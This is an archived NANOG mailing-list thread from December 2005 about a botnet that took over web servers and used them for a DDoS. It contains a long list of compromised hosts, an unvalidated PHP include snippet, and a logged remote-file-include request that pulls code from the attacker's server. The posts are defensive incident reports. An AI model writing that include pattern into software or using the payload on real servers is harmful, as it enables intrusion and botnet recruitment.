December 2005 - NANOG - lists.nanog.org

Infected list
by Barrett G. Lyon 27 Dec '05

27 Dec '05

Here is a list of the compromised machines used in this new botnet we found in California. These are all web servers connected to good bandwidth and they are attacking us, so as a nice little holiday gift to me, please clean your network up if these are on your network. :) 12-223-37-219.client.insightbb.com 149.64.142.82.ip.b26.cz 151.1.32.221 158.37.52.20 193.138.228.24 193.58.239.61 194.87.149.34 195-13-58-95.oxyd.net 195.140.142.177 195.141.204.164 200.30.71.34 200.62.55.103 202.108.59.135 202.157.177.73 202.210.168.34 202.28.68.75 203.135.128.187 203.22.23.158 206.225.93.88 209.1.163.22 210-80-180-119.conexim.net 210.104.247.130 210.118.194.56 210.97.35.126 211.155.23.81 211.174.53.4 211.200.28.6 211.34.189.3 212.110.119.85 212.63.132.54 212.7.192.58 212.79.246.131 213.197.151.2 213.241.84.66 213.80.21.2 216.158.56.242 216.237.120.114 217-116-3-75.redes.acens.net 217-116-9-152.redes.acens.net 217.19.0.5 217.71.214.98 218.106.125.207 218.144.240.70 218.38.243.5 218.38.34.196 219.83.67.86 220.125.208.3 222.124.11.244 24.176.186.71 253-user7.scnet.cz 46.209.forpsi.net 61.111.254.95 61.129.70.191 61.172.245.21 62-99-206-202.static.sdsl-line.inode.at 62.119.154.2 62.128.242.9 62.204.69.34 62.61.142.98.generic-hostname.arrownet.dk 62.65.161.148 62.79.147.151.adsl.kh.tiscali.dk 64.203.136.14 64.27.109.170 64.5.53.103 65.164.218.248 65.39.145.5 66.132.249.67 66.179.166.218 66.235.184.100 67.18.170.170 69.64.191.40 72.4.161.75 72.75-228-195.hosting.adatpark.hu 72.9.224.146 79.Red-217-125-26.staticIP.rima-tde.net 80.83.176.40 81.169.184.73 81.177.4.15 81.177.4.7 81.29.96.152 81.4.80.116 81.91.64.45 82.113.60.76 82.149.245.5 83.217.76.66 83.72.0.197.ip.tele2adsl.dk 84.244.146.80 85.111.0.20 85.17.9.74 85.233.230.3 AStDenis-105-1-1-133.w193-253.abo.wanadoo.fr aarde.milieuconsult.be admin.eigafreak.com adserver.bresciaonline.it air651.startdedicated.com alpha.ckp.pl apoc.be.priorweb.net atlas.astro.cz baszar.icmax.com.pl bazyl.pagema.net blue2.nwinternet.com boom.barad.cz broadcast.broadcastbuyersguide.com bubak.halamasek.cz bws214.internetdsl.tpnet.pl catalystinternet.com champ.uft.uni-bremen.de charlotte.service.csd.uwo.ca cluster01.ahp01.lax.affinity.com cmt5.web.mdc.ubisoft.com cobalt.standingwave.co.uk colo3.routerspeed.com customersites3.easily.co.uk d-eyes.ttk.pte.hu dcs2.sdv.fr dedicated.ipowerweb.com devel.money.net dimedis-hosting2.de dns.hsjh.chc.edu.tw dns1.portnet.pl dns3.french-connexion.com dominator.7seas.hu ds80-237-152-61.dedicated.hosteurope.de dyndsl-085-016-019-248.ewe-ip-backbone.de eagle.ezaz.hu einstein.gottathink.com enterprise.aztecinternet.net fatman1.szi.fh-jena.de fch.vutbr.cz ferion.com fido.impulsed.net flame.xservu.com flexiserv.keme.net fpp.hamradio.si freja.yanet.dk gabo.pl gha5servers.com harlock2.transisters.net head.linpro.no heb62010.ikoula.com hornad.fei.tuke.sk host-81.216.82.22.addr.tdcsong.se host.mhr-viandes.com host107.200.80.42.ifxnw.com.ar hosting1.telekom.ru housing19.berlin3.powerweb.de hurricanepunch.netzkern.net iate.fortalnet.com.br igapc14.epfl.ch iits01121.inlink.com ik57045.ikexpress.com ikaika.xtremehosting.net inetw.de info3.domainserver.de ip-217-172-174-208.inaddr.intergenia.de ip-217-24-113-10.parma.ru ip-68-178-166-1.ip.secureserver.net ip36-18-166-62.adsl.versatel.nl ipartners-gw.interian.pl iptelecom-gw.niisp.gov.ua jowita.zr.univ.gda.pl juggernaut.anchor.net.au kermit.goldweb.com.au kid.rkka.cz koosh.cs.utk.edu kreativ.red-one.hu kvist.nt.ntnu.no lakeweb2.interac.it ld1.hrnet.fr mail.bashkortostan.ru mail.math.uvt.ro mail.tanet.hu mail.web401k.com mail.wws5.com mail.zenner.ro math1.math.ncku.edu.tw max.x3m.pl mc2.aon.at midas.mistral.co.uk monster-new.dataguard.no morpheus.spaceweb.ru mx0.gom.com.eg naka.xcite.net navaho.gymjev.cz neo.spaceweb.ru net4u.net4u.ch netprosintl.com newhttpd.vjf.cnrs.fr news.greenvilleonline.com ngv.cust.iaf.nl noriko.pageinabox.com ns.dns7943.net ns.extrahosting.cz ns.infoline.cz ns.mr.ru ns.nocex6.net ns.onetgroup.com ns.oxl-technologies.net ns1.multi.pt ns1.psrweb.net ns2.zmaximum.ru ns227.ovh.net ns2652.ovh.net ns31226.ovh.net ns31508.ovh.net ns31838.ovh.net ns32343.ovh.net ns32653.ovh.net ns33002.ovh.net ns3830.ovh.net ns3841.ovh.net ns4.kabir-ken.com ns7.virtualns.net opel1.zentropypartners.de p15192579.pureserver.info pauline.vellum.cz pavlova.org pc5.berlin.powerweb.de pd46.wyszkow.sdi.tpnet.pl philsonicusa.com phyweb.physics.nus.edu.sg pippin.denit.net plesk02.eurohosting.it pontnet.hu prodigy.bulport.com proton.science.upjs.sk psy.korea.ac.kr r2d2.linuxlab.dk ritz.domeneshop.no rtr.salbis.net rzv037.rz.tu-bs.de s1.mhotele.pl s15186348.rootmaster.info s4.vhost.hu s5.lansco.de sa-4-13.saturn.infonet.ee saleh-sh1.customer.vol.cz scoot-web01.msn-coloc.binc.net sd1038.sivit.org sd1092.sivit.org sd119.sivit.org serv.ilit.bas.bg serv2.th.schule.de server001.chemsoft.de server110.penguinhost.net server125.chihost.com server204-222.live-servers.net server3.substancia.com server36.fastbighost.com server6.hostpoint.ch sgce.cbse.uab.edu shlb.ub.uni-kiel.de srv1.netmogitecnologia.com.br ss5.simpleservers.com stx.com.mx temida.wpia.uw.edu.pl toktok.xs4all.nl totalqualitygirl.upl.cs.wisc.edu turbo.applet.cz turbobert.planet-school.de u15192743.onlinehome-server.com umbra.shadowplay.net ungoliant.kvarteret.no velocity.beatit.no vs244021.vserver.de wc-140.r-195-35-187.essentkabel.co web-01.dixigo.com web.lac.u-psud.fr web2.mtco.com wpc0034.amenworld.com wpc0262.host7x24.com wpc0659.amenworld.com wpc0740.amenworld.com wpc1699.host7x24.com ws.ganag.com ws95.amenworld.com wsc10r.amenworld.com wsc141.amenworld.com wvc.pf.jcu.cz www.alternatives.com www.ecolo.be www.fit4.net www.gut-steinhof.de www.in-case.hu www.ntnu.edu.tw www.sis-server.de www.stw-bonn.de www.szuper.info.hu www.ucab.edu.ve www.virtuaal.ee www1.ingame.de xeon.aura.cz zaphod.radak.org zem.ewan.com.pl zeus.serverglobe.net

5 7

Re: Compromised machines liable for damage?
by Hannigan, Martin 26 Dec '05

26 Dec '05

Yes, I agree. As usual, I too am 'IANAL'. Marty -----Original Message----- From: Steven M. Bellovin [mailto:smb@cs.columbia.edu] Sent: Sun Dec 25 23:52:27 2005 To: Hannigan, Martin Cc: Dave Pooser; NANOG Subject: Re: Compromised machines liable for damage? In message <80632326218FE74899BDD48BB836421A033001(a)Dul1wnexmb04.vcorp.ad.vrsn.c om>, "Hannigan, Martin" writes: > >Dave, RIAA wins almost 100pct vs p2p'ers ir sues. Its an interesting = >dichotomy. > "Wins" is too strong a word, since I don't think any have gone to court -- see http://www.nytimes.com/aponline/arts/AP-Music-Download-Suit.html as my source. Besides, it's a very different situation. For my take on liability issues -- note that I'm not a lawyer, and note that this is from 1994 -- see http://www.wilyhacker.com/1e/chap12.pdf --Steven M. Bellovin, http://www.cs.columbia.edu/~smb

1 0

Re: Destructive botnet originating from Japan
by Hannigan, Martin 26 Dec '05

26 Dec '05

Prolexic qualifies. They do what MCI, ATT, Arbor, and others do regarding ddos mitigation and, IMHO, should be a shoe in. I was... subscribed and we are less valuable to the overall good so you decide (we do have presence ther though). Verisign is not an SP. Critical infra is 'critical' (us) but the attacks come from you guys. Whoever can help. I vote for realism. Marty -----Original Message----- From: Jon Lewis [mailto:jlewis@lewis.org] Sent: Sun Dec 25 17:37:57 2005 To: blyon(a)prolexic.com Cc: NANOG Subject: Re: Destructive botnet originating from Japan On Sun, 25 Dec 2005, Rubens Kuhl Jr. wrote: > The first rule of nsp-sec is, you do not talk about nsp-sec > The second rule of nsp-sec is, you DO NOT talk about nsp-sec https://puck.nether.net/mailman/listinfo/nsp-security There's nothing secret about the existence or purpose of the list. I don't know enough about Barrett to guess as to whether or not he'd qualify. Also, I was considering emailing Barrett privately, but since there seems to be so much misinformation going around, others will probably benefit from this. If you want to send out list of IPs suspected of being bots or really any other class of insecure/0wn3d systems, to make it easier for those who care to find their IPs in your list, run it through the Team Cymru whois server first. http://www.cymru.com/BGP/whois.html Then sort the list numerically by ASN. That way, people can scroll through it, or search by ASN, and quickly determine if there's any further action worth taking. It's also a really good idea to include timestamps, ideally exact ones in GMT per IP. In this case (unix bots) it's not as likely, but typical windows bots frequently show up on end-user systems with dynamic IPs. Telling me one of my dial pool IPs was a bot "recently" is not as useful as telling me it was a bot 2005-12-25 02:30:45 GMT. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________

1 0

Re: Destructive botnet originating from California (was Japan)
by Hannigan, Martin 26 Dec '05

26 Dec '05

Hows the mitigation going? We can argue semantics at Dallas NANOG. -----Original Message----- From: Jon Lewis [mailto:jlewis@lewis.org] Sent: Sun Dec 25 22:23:19 2005 To: Barrett G. Lyon Cc: NANOG Subject: Re: Destructive botnet originating from California (was Japan) On Sun, 25 Dec 2005, Barrett G. Lyon wrote: > I would have sent out a clean list sorted via AS and IP, except I have been > working from vacation on GPRS via my 1 bar of service on my cell phone. What's vacation? I gather Prolexic isn't a one man shop. Nobody else had a better internet connection and a few minutes to tidy up the data and make the post? > If the right thing is to post this information to a more private list, then I > would do so. However, I think it has been benificial to get this information > out to the public where they can actually do something about it. I've been I didn't say nanog wasn't a good place to post the info...or that there aren't better places. Just that if you want people to take action based on the data, present it in a more reader-friendly and meaningful format. Also, mixing IPs and PTRs in such a report is not a great idea. I actually did scan through the message looking for any of my prefix's and $work's primary domain name. If there was a PTR for some customer of ours in their own domain, I didn't see it, but I also didn't look for it. Posting data by ASN/IP totally avoids that issue and makes looking for your ASN(s) trivial. > getting emails from a lot of people thanking for the posts because they were > able to identify a lot of messy traffic on their network and put an end to > it. Posting information like this to a private list may not have > accomplished much. I don't see a problem with posting it to both or as many appropriate lists as you can find. Nanog is kind of geo-specific though. Other lists might have much broader representation from the entire internet. > This should be another thread completely, but I am wondering about the > liability of the individual's who have owned machines that are attacking > me/my clients. I'm not a lawyer but I would assume that tort liability law > could apply and find someone liable for allowing their machine to DDoS > people. IANAL either, but if I steal your car and run someone over with it, are you liable? Should you be? Computers are "stolen" or at least commandeered on the internet at an alarming rate because those who do it know that odds are, they won't get caught. And if they are caught, odds are, nothing will happen. And there's apparently considerable profit in the sale of commandeered systems or services provided by them. I doubt you'll get anywhere trying to make an example of someone who's system was hacked or even just "used improperly". I really don't think this problem can be solved by scaring sysadmins or corporations. There will always be security holes. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________

1 0

Re: Destructive botnet originating from Japan
by Hannigan, Martin 26 Dec '05

26 Dec '05

(jon I know you didn't say, but the original must have got nailed in my spam filters) The best thing about this statement is that since I don't report to nanog nsp-sec, or Tyler Durden, the first rule of fight club can kiss my arse. But then again, this really isn't NANOG's business now is it? Or is it? Happy Christmas folks! :) Marty -----Original Message----- From: Jon Lewis [mailto:jlewis@lewis.org] Sent: Sun Dec 25 17:37:57 2005 To: blyon(a)prolexic.com Cc: NANOG Subject: Re: Destructive botnet originating from Japan On Sun, 25 Dec 2005, Rubens Kuhl Jr. wrote: > The first rule of nsp-sec is, you do not talk about nsp-sec > The second rule of nsp-sec is, you DO NOT talk about nsp-sec https://puck.nether.net/mailman/listinfo/nsp-security There's nothing secret about the existence or purpose of the list. I don't know enough about Barrett to guess as to whether or not he'd qualify. Also, I was considering emailing Barrett privately, but since there seems to be so much misinformation going around, others will probably benefit from this. If you want to send out list of IPs suspected of being bots or really any other class of insecure/0wn3d systems, to make it easier for those who care to find their IPs in your list, run it through the Team Cymru whois server first. http://www.cymru.com/BGP/whois.html Then sort the list numerically by ASN. That way, people can scroll through it, or search by ASN, and quickly determine if there's any further action worth taking. It's also a really good idea to include timestamps, ideally exact ones in GMT per IP. In this case (unix bots) it's not as likely, but typical windows bots frequently show up on end-user systems with dynamic IPs. Telling me one of my dial pool IPs was a bot "recently" is not as useful as telling me it was a bot 2005-12-25 02:30:45 GMT. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________

1 0

Re: Destructive botnet originating from Japan (fwd)
by Barrett G. Lyon 25 Dec '05

25 Dec '05

The guy rebuilt his botnet last night, you may want to watch flows to AS32787 to find the bots on your network. -Barrett

1 0

Re:Destructive botnet originating from Japan
by Barrett G. Lyon 25 Dec '05

25 Dec '05

Well it appears that bad code always seems to be the root of problems, according to our research today the problem appears to be caused by incorrectly written PHP applications that perform includes using a string without running any validation against the string: index.php?test=test $test=$_GET[test]; include("$test.php"); When the include executes the test string passed from the GET includes execution instructions: "GET /index.php?test=http%3A//210.170.60.2/....? HTTP/1.0" 200 8010 "-" "Wget/1.6" It appears that the attacker at 210.170.60.2 (also the botnet hosting IRC server) is spreading his code as the include is called, pulling and executing PHP code from a remote server that injects the software. I'm not sure if this needs to be alerted to anyone outside of this list, but it's pretty nasty. -Barrett

2 1

Re:Destructive botnet originating from Japan
by Barrett G. Lyon 25 Dec '05

25 Dec '05

Here is a little update: As of last night authorities were able to seize the IRC server from the ISP in Japan and there will be extensive follow-up it. The DDoS attack is now running headless in the happy range of about 3+ Gbps at around 7-9M PPS. The bots will continue attacking us until they receive the stop command from the bot master, there will never be a stop command, so we will continue to see packet love for a few months while people find that they are attacking us. We will publish a new list of the bots on Monday as we idle with this low traffic rate over the weekend. The attacker was targeting a couple customers that came into our environment after other solutions failed to work for them. After reviewing and comparing notes, it is obvious that the attacks were assassination attempts from a competitor. There was no extortion involved. If you want to get the bots off your network, watch flow data destined to AS32787 with SYN floods to TCP 80 as the destination. Sites that use a PHP include (without validating the strings) to pull- up different web sections and pages are at risk, a lot of people are reporting infection via "$section.php" and "$page.php", the attacker appears to have used Google to locate sites that use includes in that fashion (searching "index.php?page=" or "index.php?section="). Reviewing infected machines for logs related to 210.170.60.2 would be easy to locate a past infection but may not be reliable if the attacker starts a new botnet. An example of the log data looks something like this: grep 210.170.60.2 access_log 210.170.60.2 - - [23/Dec/2005:11:45:37 +0000] "GET /index.php? section=http%3A//210.170.60.2/....? HTTP/1.0" 200 8010 "-" "Wget/1.6" Happy hunting and have nice holidays! -Barrett -- Barrett Lyon CTO and founder Prolexic Technologies, Inc

4 4

Re:Destructive botnet originating from Japan (fwd)
by Rob Thomas 25 Dec '05

25 Dec '05

Hi again, NANOGers. :) I shouldn't have focused solely on the bot issue, sorry. When miscreants obtain access to a server through some PHP exploit, they generally take a look around. If the web server is also a database server (eek!), then the real fun begins. There won't be a noisome bot placed on that server, oh no. One crew installed a cron script to run a SQL query for the new customer data collected in the past 24 hours, then email the query results to the miscreants. :( DDoS can be very painful, and it has the side benefit of being very overt. It is the more subtle attacks and abuses that might concern you even more. It is generally the case that the tools and techniques for both are the same. Thanks, Rob. -- Rob Thomas Team Cymru http://www.cymru.com/ ASSERT(coffee != empty);

4 3

Happy Holidays
by Fergie 25 Dec '05

25 Dec '05

Operational relevance: Slight. I realize that large Telcos/ISP's are legally obligated to non-disclosure of LEA intercation(s) w.r.t placing equipment in their infrstructure. Que sera, sera. But wait: Yes, Boys and Girls! He knows if you've been naughy or nice. Just in time for Christmas, Eric Lichtblau and James Risen write in The New York Times late last night that King George didn't exactly come clean with the details of his 'authorization' of illicit eavesdropping: [snip] The National Security Agency has traced and analyzed large volumes of telephone and Internet communications flowing into and out of the United States as part of the eavesdropping program that President Bush approved after the Sept. 11, 2001, attacks to hunt for evidence of terrorist activity, according to current and former government officials. The volume of information harvested from telecommunication data and voice networks, without court-approved warrants, is much larger than the White House has acknowledged, the officials said. It was collected by tapping directly into some of the American telecommunication system's main arteries, they said. [snip] Happy Holidays -- party like it's 1984. More here: http://www.nytimes.com/2005/12/24/politics/24spy.html But, of course, you already knew that, right? Cheers, - ferg ps. As an aside, this is in no way surprising -- as a former OMSEC guy, I figure they've been doing this, in one way or another, forever. :-) -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(a)netzero.net or fergdawg(a)sbcglobal.net ferg's tech blog: http://fergdawg.blogspot.com/

1 0